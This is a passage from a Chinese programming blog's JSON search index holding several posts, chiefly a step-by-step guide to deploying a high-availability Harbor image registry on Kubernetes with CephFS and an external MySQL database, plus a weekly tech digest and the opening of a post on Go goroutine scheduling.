href=\"https://mp.weixin.qq.com/s/6--iyRTiAtpSpsLd0Tgf8w\"\u003e原文地址\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e本文为《程序员》杂志授权转载，谢绝其他转载。全文如下：\u003c/p\u003e\n\u003cp\u003e自从2013年\u003ca href=\"https://en.wikipedia.org/wiki/DotCloud\"\u003edotCloud公司\u003c/a\u003e(现已改名为\u003ca href=\"https://en.wikipedia.org/wiki/Docker,_Inc.\"\u003eDocker Inc\u003c/a\u003e)发布\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker容器技术\u003c/a\u003e以来，到目前为止已经有四年多的时间了。这期间\u003ca href=\"https://en.wikipedia.org/wiki/Docker_(software)\"\u003eDocker技术\u003c/a\u003e飞速发展，并催生出一个生机勃勃的、以轻量级容器技术为基础的庞大的容器平台生态圈。作为Docker三大核心技术之一的镜像技术在Docker的快速发展之路上可谓功不可没：镜像让容器真正插上了翅膀，实现了容器自身的重用和标准化传播，使得开发、交付、运维流水线上的各个角色真正围绕同一交付物，“test what you write, ship what you test”成为现实。\u003c/p\u003e\n\u003cp\u003e对于已经接纳和使用Docker技术在日常开发工作中的开发者而言，构建Docker镜像已经是家常便饭。但如何更高效地构建以及构建出Size更小的镜像却是很多Docker技术初学者心中常见的疑问，甚至是一些老手都未曾细致考量过的问题。本文将从一个Docker用户角度来阐述Docker镜像构建的演化史，希望能起到一定的解惑作用。\u003c/p\u003e","title":"追求极简：Docker镜像构建演化史"},{"content":"本文是首发于个人微信公众号的文章TB一周萃选[第1期]的归档(归档版增加了很多资料的索引)。\n如果有一天，你不再寻找爱情，只是去爱；你不再渴望成功，只是去做；你不再追逐成长，只是去修行；一切才真正开始。 ——纪伯伦\n时间飞逝，转眼间已是年终岁尾。祖国北方大地到处银装素裹，一场场充满诗意的白雪下又无处不透露的新的春的生机。\n这里也介绍这个个人公众号的一些小变化。从本周开始，我会在一周所读到的或自创的文章中萃选出3-7篇文章，整理编辑，以文章形式推送给大家，类似一个周刊的形式，定名为**“TB一周萃选”**。口号：努力成为程序员周末生活中不可缺少的一部分。\n这些文章来自的领域包括：Go、Docker、Kubernetes、区块链、智能硬件、无人驾驶、儿童编程、人工智能、开源活动等。这个“周刊”只是个人在工作之外时间的投入，没有团队，鉴于能力和精力有限，难免有错误，望谅解。\n本期是第1期，万事开头难。\n一、一周文章精粹 1. Go版密码学入门 密码学即便是在程序员中也属于小众领域。不过Go语言提供了丰富的有关密码的packages(在$GOROOT/src/crypto下面)。这篇文章是密码学入门基础，介绍了密码与密钥、哈希、数字签名、加密与解密等基础概念，并使用golang语言作为例子对这些概念的应用做了详尽的诠释。\n原文链接：《Crypto 101: A Brief Tour of Practical Crypto in Golang》。\n2. 服务端I/O性能大比拼：Node vs. PHP vs. Java vs. Go 程序员这个行业属于“高危”行业，除了生理上收到“职业”特点的折磨外，还时不时会加入到一些“编程语言”的战争中。但这绝对不是这里我向大家推荐这篇文章的初衷，我崇尚：和平相处，不打嘴仗。编程语言领域几十年来都保持着相对活跃的态势，每隔几年甚至每年都会有新的编程语言进入大家视野。Go从诞生以来，受到了大家的极大关注，自然也就会成为被与其他语言比较的对象。这篇文章从I/O性能的角度横向对比了Go、Nodejs、Java和PHP等几门语言，所得到的数据建议大家做个参考而已。不代表原作者的思路就完全没有问题。\n原文链接：《Server-side I/O Performance: Node vs. PHP vs. Java vs. Go》\n3. 怼：“从PHP到Go，又回到PHP” “又来了”！haha。这里不多说了，个人感觉这篇文章的正反观点都值得去仔细体会。PHP是世界最好的语言，Go是新生代的代表之一，求轻虐。\n原文链接：《RE: MOVING FROM PHP TO GO AND BACK AGAIN》\n4.超炫酷Slide的“机器学习入门” 机器学习对于传统程序员来说还是有较高的学习门槛的，学习各种概念也较为枯燥。不过Google Senior Creative工程师Jason Mayes的这门“机器学习的入门课”至少从Slide的表现来看却很炫酷。\n原文链接：《Machine Learning 101》\n二、一周资料分享 1.KubeCon 2017\u0026amp; CloudNativeCon2017 Austin大会Slides KubeCon 2017\u0026amp;CloudNativeCon 2017大会在Austin隆重举行。这次大会的受关注程度也是历史空前。关于K8s和cncf基金会的最新进展都可以在这次大会上获得。其中不乏像Service Mesh这样的新技术热点。这里分享一下大会的Slides集合，欢迎自行下载阅读和理解。\n下载链接：百度盘\n三、一周工具推荐 1.Goland Jetbrain公司的Go IDE工具goland正式release了。Goland凝聚了JetBrain公司在IDE领域的丰富经验，它为Go开发者提供了智能的自动补全、即时检查和快速修复、导航和自动化重构等功能。 正如IntelliJ IDEA为Java开发者提供的体验一样，相信GoLand同样会为Go开发者提供更好的开发体验。\nJetBrains员工Andrey Cheptsov 的这篇《使用Goland进行Go开发》可以带你走进goland的世界。\n四、一周图书推荐 1.《Network Programming with Go》 Go语言十分擅长网络编程，但市面上关于Go网络编程的系统性资料非常少。在Go 1.0发布之后不久，一位位于澳大利亚的教师Jan Newmarch就在网上发布了自己的“Network programming with Go” 。若干年后，Jan Newmarch将自己的资料整理后，并结合最新的Go语言变化，出版了《Network Programming with Go》一书。纵观这本书，虽然质量谈不上很高，但内容相对系统全面，其有关Socket-level programming的章节内容很有参考价值。\n免费版链接(内容可能不全)：http://tumregels.github.io/Network-Programming-with-Go/\n图书出版社链接：https://www.apress.com/gp/book/9781484226919\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2017/12/17/1st-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章\u003ca href=\"https://mp.weixin.qq.com/s?__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;chksm=e863e629df146f3f421f37672d25400bf6f7f52627bf72e99bf7fb7ff05857459110667600ce\u0026amp;scene=0\u0026amp;key=3c4368fbfacb90f62b01b31c9db501f48366f66e6f2fe6263466a4fde83102554335a4d7a4c039d31a1c0d9c5b6402b6354f47328ea5a8bdc44cb0efa3613732d6e03c5bdabd1f6a14ded92258a05636\u0026amp;ascene=0\u0026amp;uin=MTYwMzM0NjYyMQ%3D%3D\u0026amp;devicetype=iMac+MacBookAir6%2C2+OSX+OSX+10.9.2+build(13C64)\u0026amp;version=11020201\u0026amp;lang=zh_CN\u0026amp;pass_ticket=VzWYzr6BakKr1yXQQOGq0zbwSncZvZ1JO4UH32DDbnZWFakvoMefh9wcEIPjPeWM\"\u003eTB一周萃选[第1期]\u003c/a\u003e的归档(归档版增加了很多资料的索引)。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如果有一天，你不再寻找爱情，只是去爱；你不再渴望成功，只是去做；你不再追逐成长，只是去修行；一切才真正开始。 ——纪伯伦\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e时间飞逝，转眼间已是年终岁尾。祖国北方大地到处银装素裹，一场场充满诗意的白雪下又无处不透露的新的春的生机。\u003c/p\u003e","title":"TB一周萃选[第1期]"},{"content":"关于基于Harbor的高可用私有镜像仓库，在我的博客里曾不止一次提到，在源创会2017沈阳站上，我还专门以此题目和大家做了分享。事后，很多人通过微博私信、个人公众号或博客评论问我是否可以在Kubernetes集群上安装高可用的Harbor仓库，今天我就用这篇文章来回答大家这个问题。\n一、Kubernetes上的高可用Harbor方案 首先，我可以肯定给出一个回答：Harbor支持在Kubernetes部署。只不过Harbor官方的默认安装并非是高可用的，而是“单点式”的。在《基于Harbor的高可用企业级私有容器镜像仓库部署实践》一文中，我曾谈到了一种在裸机或VM上的、基于Cephfs共享存储的高可用Harbor方案。在Kubernetes上部署，其高可用的思路也是类似的，可见下面这幅示意图：\n围绕这幅示意图，简单说明一下我们的方案：\n通过在Kubernetes上启动Harbor内部各组件的多个副本的方式实现Harbor服务的计算高可用； 通过挂载CephFS共享存储的方式实现镜像数据高可用； Harbor使用的配置数据和关系数据放在外部(External)数据库集群中，保证数据高可用和实时一致性； 通过外部Redis集群实现UI组件的session共享。 方案确定后，接下来我们就开始部署。\n二、环境准备 在Harbor官方的对Kubernetes支持的说明中，提到当前的Harbor on kubernetes相关脚本和配置在Kubernetes v1.6.5和Harbor v1.2.0上验证测试通过了，因此在我们的实验环境中，Kubernetes至少要准备v1.6.5及以后版本。下面是我的环境的一些信息：\nKubernetes使用v1.7.3版本： # kubelet --version Kubernetes v1.7.3 Docker使用17.03.2版本： # docker version Client: Version: 17.03.2-ce API version: 1.27 Go version: go1.7.5 Git commit: f5ec1e2 Built: Tue Jun 27 03:35:14 2017 OS/Arch: linux/amd64 Server: Version: 17.03.2-ce API version: 1.27 (minimum version 1.12) Go version: go1.7.5 Git commit: f5ec1e2 Built: Tue Jun 27 03:35:14 2017 OS/Arch: linux/amd64 Experimental: false 关于Harbor的相关脚本，我们直接用master branch中的，而不是v1.2.0这个release版本中的。切记！否则你会发现v1.2.0版本源码中的相关kubernetes支持脚本根本就没法工作，甚至缺少adminserver组件的相关脚本。不过Harbor相关组件的image版本，我们使用的还是v1.2.0的：\nHarbor源码的版本： commit 82d842d77c01657589d67af0ea2d0c66b1f96014 Merge pull request #3741 from wy65701436/add-tc-concourse on Dec 4, 2017 Harbor各组件的image的版本： REPOSITORY TAG IMAGE ID vmware/harbor-jobservice v1.2.0 1fb18427db11 vmware/harbor-ui v1.2.0 b7069ac3bd4b vmware/harbor-adminserver v1.2.0 a18331f0c1ae vmware/registry 2.6.2-photon c38af846a0da vmware/nginx-photon 1.11.13 2971c92cc1ae 除此之外，高可用Harbor使用外部的DB cluster和redis cluster，DB cluster我们采用MySQL，对于MySQL cluster，可以使用mysql galera cluster或MySQL5.7以上版本自带的Group Replication (MGR) 集群。\n三、探索harbor on k8s部署脚本和配置 我们在本地创建harbor-install-on-k8s目录，并将Harbor最新源码下载到该目录下：\n# mkdir harbor-install-on-k8s # cd harbor-install-on-k8s # wget -c https://github.com/vmware/harbor/archive/master.zip # unzip master.zip # cd harbor-master # ls -F AUTHORS CHANGELOG.md contrib/ CONTRIBUTING.md docs/ LICENSE make/ Makefile NOTICE partners.md README.md ROADMAP.md src/ tests/ tools/ VERSION 将Harbor部署到k8s上的脚本就在make/kubernetes目录下：\n# cd harbor-master/make # tree kubernetes kubernetes ├── adminserver │ ├── adminserver.rc.yaml │ └── adminserver.svc.yaml ├── jobservice │ ├── jobservice.rc.yaml │ └── jobservice.svc.yaml ├── k8s-prepare ├── mysql │ ├── mysql.rc.yaml │ └── mysql.svc.yaml ├── nginx │ ├── nginx.rc.yaml │ └── nginx.svc.yaml ├── pv │ ├── log.pvc.yaml │ ├── log.pv.yaml │ ├── registry.pvc.yaml │ ├── registry.pv.yaml │ ├── storage.pvc.yaml │ └── storage.pv.yaml ├── registry │ ├── registry.rc.yaml │ └── registry.svc.yaml ├── templates │ ├── adminserver.cm.yaml │ ├── jobservice.cm.yaml │ ├── mysql.cm.yaml │ ├── nginx.cm.yaml │ ├── registry.cm.yaml │ └── ui.cm.yaml └── ui ├── ui.rc.yaml └── ui.svc.yaml 8 directories, 25 files k8s-prepare脚本：根据templates下的模板文件以及harbor.cfg中的配置生成各个组件，比如registry等的最终configmap配置文件。它的作用类似于用docker-compose工具部署Harbor时的prepare脚本； templates目录：templates目录下放置各个组件的配置模板文件（configmap文件模板），将作为k8s-prepare的输入； pv目录：Harbor组件所使用的存储插件的配置，默认情况下使用hostpath，对于高可用Harbor而言，我们这里将使用cephfs； 其他组件目录，比如：registry：这些目录中存放这各个组件的service yaml和rc yaml，用于在Kubernetes cluster启动各个组件时使用。 下面我用一个示意图来形象地描述一下配置的生成过程以及各个文件在后续Harbor组件启动中的作用：\n由于使用external mysql db，Harbor自带的mysql组件我们不会使用，对应的pv目录下的storage.pv.yaml和storage.pvc.yaml我们也不会去关注和使用。\n四、部署步骤 1、配置和创建挂载Cephfs的pv和pvc 我们先在共享分布式存储CephFS上为Harbor的存储需求创建目录：apps/harbor-k8s，并在harbor-k8s下创建两个子目录：log和registry，分别满足jobservice和registry的存储需求：\n# cd /mnt // CephFS的根目录挂载到了/mnt下面 # mkdir -p apps/harbor-k8s/log # mkdir -p apps/harbor-k8s/registry # tree apps/harbor-k8s apps/harbor-k8s ├── log └── registry 关于CephFS的挂载等具体操作步骤，可以参见我的《Kubernetes集群跨节点挂载CephFS》一文。\n接下来，创建用于k8s pv挂载cephfs的ceph-secret，我们编写一个ceph-secret.yaml文件：\n//ceph-secret.yaml apiVersion: v1 data: key: {base64 encoding of the ceph admin.secret} kind: Secret metadata: name: ceph-secret type: Opaque 创建ceph-secret：\n# kubectl create -f ceph-secret.yaml secret \u0026quot;ceph-secret\u0026quot; created 最后，我们来修改pv、pvc文件并创建对应的pv和pvc资源，要修改的文件包括pv/log.xxx和pv/registry.xxx，我们的目的就是用cephfs替代原先的hostPath：\n//log.pv.yaml apiVersion: v1 kind: PersistentVolume metadata: name: log-pv labels: type: log spec: capacity: storage: 1Gi accessModes: - ReadWriteMany cephfs: monitors: - {ceph-mon-node-ip}:6789 path: /apps/harbor-k8s/log user: admin secretRef: name: ceph-secret readOnly: false persistentVolumeReclaimPolicy: Retain //log.pvc.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: name: log-pvc spec: accessModes: - ReadWriteMany resources: requests: storage: 1Gi selector: matchLabels: type: log // registry.pv.yaml apiVersion: v1 kind: PersistentVolume metadata: name: registry-pv labels: type: registry spec: capacity: storage: 5Gi accessModes: - ReadWriteMany cephfs: monitors: - 10.47.217.91:6789 path: /apps/harbor-k8s/registry user: admin secretRef: name: ceph-secret readOnly: false persistentVolumeReclaimPolicy: Retain //registry.pvc.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: name: registry-pvc spec: accessModes: - ReadWriteMany resources: requests: storage: 5Gi selector: matchLabels: type: registry 创建pv和pvc：\n# kubectl create -f log.pv.yaml persistentvolume \u0026quot;log-pv\u0026quot; created # kubectl create -f log.pvc.yaml persistentvolumeclaim \u0026quot;log-pvc\u0026quot; created # kubectl create -f registry.pv.yaml persistentvolume \u0026quot;registry-pv\u0026quot; created # kubectl create -f registry.pvc.yaml persistentvolumeclaim \u0026quot;registry-pvc\u0026quot; created # kubectl get pvc NAME STATUS VOLUME CAPACITY ACCESSMODES STORAGECLASS AGE log-pvc Bound log-pv 1Gi RWX 31s registry-pvc Bound registry-pv 5Gi RWX 2s # kubectl get pv NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM STORAGECLASS REASON AGE log-pv 1Gi RWX Retain Bound default/log-pvc 36s registry-pv 5Gi RWX Retain Bound default/registry-pvc 6s 2、创建和初始化Harbor用的数据库 我们需要在External DB中创建Harbor访问数据库所用的user(harbork8s/harbork8s)以及所使用的数据库(registry_k8s)：\nmysql\u0026gt; create user harbork8s identified by 'harbork8s'; Query OK, 0 rows affected (0.03 sec) mysql\u0026gt; GRANT ALL PRIVILEGES ON *.* TO 'harbork8s'@'%' IDENTIFIED BY 'harbork8s' WITH GRANT OPTION; Query OK, 0 rows affected, 1 warning (0.00 sec) # mysql\u0026gt; create database registry_k8s; Query OK, 1 row affected (0.00 sec) mysql\u0026gt; grant all on registry_k8s.* to 'harbork8s' identified by 'harbork8s'; Query OK, 0 rows affected, 1 warning (0.00 sec) 由于目前Harbor还不支持自动init数据库，因此我们需要为新建的registry_k8s数据库做初始化，具体的方案就是先使用docker-compose工具在本地启动一个harbor，通过mysqldump将harbor-db container中的数据表dump出来，再导入到external db中的registry_k8s中，具体操作步骤如下：\n# wget -c http://harbor.orientsoft.cn/harbor-1.2.0/harbor-offline-installer-v1.2.0.tgz # tar zxvf harbor-offline-installer-v1.2.0.tgz 进入harbor目录，修改harbor.cfg中的hostname: hostname = hub.tonybai.com:31777 # ./prepare # docker-compose up -d 找到harbor_db的container id: 77fde71390e7，进入容器，并将数据库registry dump出来： # docker exec -i -t 77fde71390e7 bash # mysqldump -u root -pxxx --databases registry \u0026gt; registry.dump 离开容器，将容器内导出的registry.dump copy到本地： # docker cp 77fde71390e7:/tmp/registry.dump ./ 修改registry.dump为registry_k8s.dump，修改其内容中的registry为registry_k8s，然后导入到external db： # mysqldump -h external_db_ip -P 3306 -u harbork8s -pharbork8s mysql\u0026gt; source ./registry_k8s.dump; 3、配置make/harbor.cfg harbor.cfg是整个配置生成的重要输入，我们在k8s-prepare执行之前，先要根据我们的需要和环境对harbor.cfg进行配置：\n// make/harbor.cfg hostname = hub.tonybai.com:31777 db_password = harbork8s db_host = {external_db_ip} db_user = harbork8s 4、对templates目录下的configmap配置模板(*.cm.yaml)进行配置调整 templates/adminserver.cm.yaml:\nMYSQL_HOST: {external_db_ip} MYSQL_USR: harbork8s MYSQL_DATABASE: registry_k8s RESET: \u0026ldquo;true\u0026rdquo;\n注：adminserver.cm.yaml没有使用harbor.cfg中的有关数据库的配置项，而是需要单独再配置一遍，这块估计将来会fix掉这个问题。\ntemplates/registry.cm.yaml:\nrootcertbundle: /etc/registry/root.crt\ntemplates/ui.cm.yaml:\nui组件需要添加session共享。ui组件读取_REDIS_URL环境变量：\n//vmware/harbor/src/ui/main.go ... .. redisURL := os.Getenv(\u0026quot;_REDIS_URL\u0026quot;) if len(redisURL) \u0026gt; 0 { beego.BConfig.WebConfig.Session.SessionProvider = \u0026quot;redis\u0026quot; beego.BConfig.WebConfig.Session.SessionProviderConfig = redisURL } ... ... 而redisURL的格式在beego的源码中有说明： // beego/session/redis/sess_redis.go // SessionInit init redis session // savepath like redis server addr,pool size,password,dbnum // e.g. 127.0.0.1:6379,100,astaxie,0 func (rp *Provider) SessionInit(maxlifetime int64, savePath string) error {...} 因此，我们在templates/ui.cm.yaml中添加一行：\n_REDIS_URL: {redis_ip}:6379,100,{redis_password},11 jobservice.cm.yaml和nginx.cm.yaml无需改变。\n5、对各组件目录下的xxx.rc.yaml和xxx.svc.yaml配置模板进行配置调整 adminserver/adminserver.rc.yaml\nreplicas: 3\nadminserver/adminserver.svc.yaml\n不变。\njobservice/jobservice.rc.yaml、jobservice/jobservice.svc.yaml 不变。\nnginx/nginx.rc.yaml\nreplicas: 3\nnginx/nginx.svc.yaml\napiVersion: v1 kind: Service metadata: name: nginx spec: type: NodePort ports: - name: http port: 80 nodePort: 31777 protocol: TCP selector: name: nginx-apps\nregistry/registry.rc.yaml\nreplicas: 3 mountPath: /etc/registry\n这里有一个严重的bug，即registry.rc.yaml中configmap的默认mount路径：/etc/docker/registry与registry的docker image中的registry配置文件的路径/etc/registry不一致，这将导致我们精心配置的registry的configmap根本没有发挥作用，数据依然在memory中，而不是在我们配置的Cephfs中。这样一旦registry container退出，仓库的image数据就会丢失。同时也无法实现数据的高可用。因此，我们将mountPath都改为与registry image的一致，即：/etc/registry目录。\nregistry/registry.svc.yaml 不变。\nui/ui.rc.yaml\nreplicas: 3\nui/ui.svc.yaml\nname: _REDIS_URL valueFrom: configMapKeyRef: name: harbor-ui-config key: _REDIS_URL 6、执行k8s-prepare 执行k8s-prepare，生成各个组件的configmap文件：\n# ./k8s-prepare # git status ... ... adminserver/adminserver.cm.yaml jobservice/jobservice.cm.yaml mysql/mysql.cm.yaml nginx/nginx.cm.yaml registry/registry.cm.yaml ui/ui.cm.yaml 7、启动Harbor组件 创建configmap\nkubectl apply -f jobservice/jobservice.cm.yaml configmap \u0026ldquo;harbor-jobservice-config\u0026rdquo; created\nkubectl apply -f nginx/nginx.cm.yaml configmap \u0026ldquo;harbor-nginx-config\u0026rdquo; created\nkubectl apply -f registry/registry.cm.yaml configmap \u0026ldquo;harbor-registry-config\u0026rdquo; created\nkubectl apply -f ui/ui.cm.yaml configmap \u0026ldquo;harbor-ui-config\u0026rdquo; created\nkubectl apply -f adminserver/adminserver.cm.yaml configmap \u0026ldquo;harbor-adminserver-config\u0026rdquo; created\nkubectl get cm NAME DATA AGE harbor-adminserver-config 42 14s harbor-jobservice-config 8 16s harbor-nginx-config 3 16s harbor-registry-config 2 15s harbor-ui-config 9 15s\n创建harbor各组件对应的k8s service\nkubectl apply -f jobservice/jobservice.svc.yaml service \u0026ldquo;jobservice\u0026rdquo; created\nkubectl apply -f nginx/nginx.svc.yaml service \u0026ldquo;nginx\u0026rdquo; created\nkubectl apply -f registry/registry.svc.yaml service \u0026ldquo;registry\u0026rdquo; created\nkubectl apply -f ui/ui.svc.yaml service \u0026ldquo;ui\u0026rdquo; created\nkubectl apply -f adminserver/adminserver.svc.yaml service \u0026ldquo;adminserver\u0026rdquo; created\nkubectl get svc NAME CLUSTER-IP EXTERNAL-IP PORT(S) adminserver 10.103.7.8 80/TCP jobservice 10.104.14.178 80/TCP nginx 10.103.46.129 80:31777/TCP registry 10.101.185.42 5000/TCP,5001/TCP ui 10.96.29.187 80/TCP\n创建rc，启动各个组件pods\nkubectl apply -f registry/registry.rc.yaml replicationcontroller \u0026ldquo;registry-rc\u0026rdquo; created\nkubectl apply -f jobservice/jobservice.rc.yaml replicationcontroller \u0026ldquo;jobservice-rc\u0026rdquo; created\nkubectl apply -f ui/ui.rc.yaml replicationcontroller \u0026ldquo;ui-rc\u0026rdquo; created\nkubectl apply -f nginx/nginx.rc.yaml replicationcontroller \u0026ldquo;nginx-rc\u0026rdquo; created\nkubectl apply -f adminserver/adminserver.rc.yaml replicationcontroller \u0026ldquo;adminserver-rc\u0026rdquo; created\n#kubectl get pods NAMESPACE NAME READY STATUS RESTARTS AGE default adminserver-rc-9pc78 1/1 Running 0 3m default adminserver-rc-pfqtv 1/1 Running 0 3m default adminserver-rc-w55sx 1/1 Running 0 3m default jobservice-rc-d18zk 1/1 Running 1 3m default nginx-rc-3t5km 1/1 Running 0 3m default nginx-rc-6wwtz 1/1 Running 0 3m default nginx-rc-dq64p 1/1 Running 0 3m default registry-rc-6w3b7 1/1 Running 0 3m default registry-rc-dfdld 1/1 Running 0 3m default registry-rc-t6fnx 1/1 Running 0 3m default ui-rc-0kwrz 1/1 Running 1 3m default ui-rc-kzs8d 1/1 Running 1 3m default ui-rc-vph6d 1/1 Running 1 3m\n五、验证与Troubleshooting 1、docker cli访问 由于harbor默认使用了http访问，因此在docker login前先要将我们的仓库地址加到/etc/docker/daemon.json的insecure-registries中：\n///etc/docker/daemon.json { \u0026quot;insecure-registries\u0026quot;: [\u0026quot;hub.tonybai.com:31777\u0026quot;] } systemctl daemon-reload and restart后，我们就可以通过docker login登录新建的仓库了(初始密码：Harbor12345)：\ndocker login hub.tonybai.com:31777 Username (admin): admin Password: Login Succeeded 2、docker push \u0026amp; pull 我们测试上传一个busybox image：\n# docker pull busybox Using default tag: latest latest: Pulling from library/busybox 0ffadd58f2a6: Pull complete Digest: sha256:bbc3a03235220b170ba48a157dd097dd1379299370e1ed99ce976df0355d24f0 Status: Downloaded newer image for busybox:latest # docker tag busybox:latest hub.tonybai.com:31777/library/busybox:latest # docker push hub.tonybai.com:31777/library/busybox:latest The push refers to a repository [hub.tonybai.com:31777/library/busybox] 0271b8eebde3: Preparing 0271b8eebde3: Pushing [==================================================\u0026gt;] 1.338 MB 0271b8eebde3: Pushed latest: digest: sha256:179cf024c8a22f1621ea012bfc84b0df7e393cb80bf3638ac80e30d23e69147f size: 527 下载刚刚上传的busybox:\n# docker pull hub.tonybai.com:31777/library/busybox:latest latest: Pulling from library/busybox 414e5515492a: Pull complete Digest: sha256:179cf024c8a22f1621ea012bfc84b0df7e393cb80bf3638ac80e30d23e69147f Status: Downloaded newer image for hub.tonybai.com:31777/library/busybox:latest 3、访问Harbor UI 在浏览器中打开http://hub.tonybai.com:31777，用admin/Harbor12345登录，如果看到下面页面，说明安装部署成功了：\n六、参考资料 Integration with Kubernetes 基于Harbor和CephFS搭建高可用Private Registry 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2017/12/08/deploy-high-availability-harbor-on-kubernetes-cluster/","summary":"\u003cp\u003e关于\u003ca href=\"http://tonybai.com/2017/06/09/setup-a-high-availability-private-registry-based-on-harbor-and-cephfs/\"\u003e基于Harbor的高可用私有镜像仓库\u003c/a\u003e，在我的博客里\u003ca href=\"http://tonybai.com/2017/06/15/fix-auth-fail-when-login-harbor-registry/\"\u003e曾不止一次提到\u003c/a\u003e，在\u003ca href=\"http://tonybai.com/2017/10/24/go-evolution-for-ten-years-an-interview-by-osc/\"\u003e源创会2017沈阳站\u003c/a\u003e上，我还专门\u003ca href=\"http://tonybai.com/2017/10/23/the-speech-script-practice-on-deploying-a-ha-harbor-cluster-for-osc-shenyang-2017/\"\u003e以此题目和大家做了分享\u003c/a\u003e。事后，很多人通过\u003ca href=\"https://weibo.com/bigwhite20xx\"\u003e微博私信\u003c/a\u003e、\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000004\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483828\u0026amp;idx=1\u0026amp;sn=d8bcc352a0ad2fdb5e02f3a2c40c4b2b\u0026amp;send_time=\"\u003e个人公众号\u003c/a\u003e或博客评论问我是否可以在\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes集群\u003c/a\u003e上安装高可用的\u003ca href=\"https://github.com/vmware/harbor\"\u003eHarbor\u003c/a\u003e仓库，今天我就用这篇文章来回答大家这个问题。\u003c/p\u003e\n\u003ch2 id=\"一kubernetes上的高可用harbor方案\"\u003e一、Kubernetes上的高可用Harbor方案\u003c/h2\u003e\n\u003cp\u003e首先，我可以肯定给出一个回答：Harbor支持在Kubernetes部署。只不过Harbor官方的默认安装并非是高可用的，而是“单点式”的。在\u003ca href=\"http://tonybai.com/2017/10/23/the-speech-script-practice-on-deploying-a-ha-harbor-cluster-for-osc-shenyang-2017/\"\u003e《基于Harbor的高可用企业级私有容器镜像仓库部署实践》\u003c/a\u003e一文中，我曾谈到了一种在裸机或VM上的、基于\u003ca href=\"http://tonybai.com/2017/05/08/mount-cephfs-acrossing-nodes-in-kubernetes-cluster/\"\u003eCephfs\u003c/a\u003e共享存储的高可用Harbor方案。在Kubernetes上部署，其高可用的思路也是类似的，可见下面这幅示意图：\u003c/p\u003e","title":"在Kubernetes集群上部署高可用Harbor镜像仓库"},{"content":"前两天一位网友在微博私信我这样一个问题：\n抱歉打扰您咨询您一个关于Go的问题：对于goroutine的概念我是明了的，但很疑惑goroutine的调度问题, 根据《Go语言编程》一书：“当一个任务正在执行时，外部没有办法终止它。要进行任务切换，只能通过由该任务自身调用yield()来主动出让CPU使用权。” 那么，假设我的goroutine是一个死循环的话，是否其它goroutine就没有执行的机会呢？我测试的结果是这些goroutine会轮流执行。那么除了syscall时会主动出让cpu时间外，我的死循环goroutine 之间是怎么做到切换的呢？\n我在第一时间做了回复。不过由于并不了解具体的细节，我在答复中做了一个假定，即假定这位网友的死循环带中没有调用任何可以交出执行权的代码。事后，这位网友在他的回复后道出了死循环goroutine切换的真实原因：他在死循环中调用了fmt.Println。\n事后总觉得应该针对这个问题写点什么? 于是就构思了这样一篇文章，旨在循着这位网友的思路通过一些例子来step by step演示如何分析go schedule。如果您对Goroutine的调度完全不了解，那么请先读一读这篇前导文 《也谈goroutine调度器》。\n一、为何在deadloop的参与下，多个goroutine依旧会轮流执行 我们先来看case1，我们顺着那位网友的思路来构造第一个例子，并回答：“为何在deadloop的参与下，多个goroutine依旧会轮流执行？”这个问题。下面是case1的源码：\n//github.com/bigwhite/experiments/go-sched-examples/case1.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func deadloop() { for { } } func main() { go deadloop() for { time.Sleep(time.Second * 1) fmt.Println(\u0026quot;I got scheduled!\u0026quot;) } } 在case1.go中，我们启动了两个goroutine，一个是main goroutine，一个是deadloop goroutine。deadloop goroutine顾名思义，其逻辑是一个死循环；而main goroutine为了展示方便，也用了一个“死循环”，并每隔一秒钟打印一条信息。在我的macbook air上运行这个例子（我的机器是两核四线程的，runtime的NumCPU函数返回4）：\n$go run case1.go I got scheduled! I got scheduled! I got scheduled! ... ... 从运行结果输出的日志来看，尽管有deadloop goroutine的存在，main goroutine仍然得到了调度。其根本原因在于机器是多核多线程的（硬件线程哦，不是操作系统线程）。Go从1.5版本之后将默认的P的数量改为 = CPU core的数量（实际上还乘以了每个core上硬线程数量），这样case1在启动时创建了不止一个P，我们用一幅图来解释一下：\n我们假设deadloop Goroutine被调度与P1上，P1在M1(对应一个os kernel thread)上运行；而main goroutine被调度到P2上，P2在M2上运行，M2对应另外一个os kernel thread，而os kernel threads在操作系统调度层面被调度到物理的CPU core上运行，而我们有多个core，即便deadloop占满一个core，我们还可以在另外一个cpu core上运行P2上的main goroutine，这也是main goroutine得到调度的原因。\nTips: 在mac os上查看你的硬件cpu core数量和硬件线程总数量：\n$sysctl -n machdep.cpu.core_count 2 $sysctl -n machdep.cpu.thread_count 4 二、如何让deadloop goroutine以外的goroutine无法得到调度？ 如果我们非要deadloop goroutine以外的goroutine无法得到调度，我们该如何做呢？一种思路：让Go runtime不要启动那么多P，让所有用户级的goroutines在一个P上被调度。\n三种办法：\n在main函数的最开头处调用runtime.GOMAXPROCS(1)； 设置环境变量export GOMAXPROCS=1后再运行程序 找一个单核单线程的机器^0^（现在这样的机器太难找了，只能使用云服务器实现） 